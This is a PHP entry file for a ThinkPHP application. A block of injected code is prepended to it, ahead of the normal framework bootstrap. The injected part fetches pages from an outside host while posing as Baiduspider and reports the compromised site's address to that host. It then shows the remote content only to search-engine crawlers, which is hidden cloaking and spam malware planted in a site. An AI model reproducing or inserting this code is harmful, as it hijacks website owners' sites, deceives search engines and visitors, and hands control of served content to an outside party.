<?php
set_time_limit(0);
define('ent',$_SERVER['HTTP_USER_AGENT']);
define('ref',$_SERVER['HTTP_REFERER']);
define('regs','@Baidu|Sogou|Yisou|Google|Soso|Haosou|Spider|So.com|Sm.cn@i');
header("Content-Type: text/html;charset=gb2312");
$Remote_server = "http://001.stst45.top/"; 
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];
$Content_mb=getHTTPPage($Remote_server."/index.php?host=".$host_name);

function getHTTPPage($url) {
  $opts = array(
    'http'=>array(
    'method'=>"GET",
    'header'=>"User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html）"
    )
  );
  $context = stream_context_create($opts);
  $html = @file_get_contents($url, false, $context);
  if (empty($html)) {
    exit("<p align='center'><font color='red'><b>Connection Error!</b></font></p>");
  }  
  return $html;
} 
if (preg_match(regs, ent) or preg_match(regs, ref)) {
echo $Content_mb;
}
?><?php

// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2016 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------
// [ 应用入口文件 ]
// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');

// 判断是否安装
if (!is_file(APP_PATH . 'admin/command/Install/install.lock')) {
    header("location:./install.php");
    exit;
}

// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';
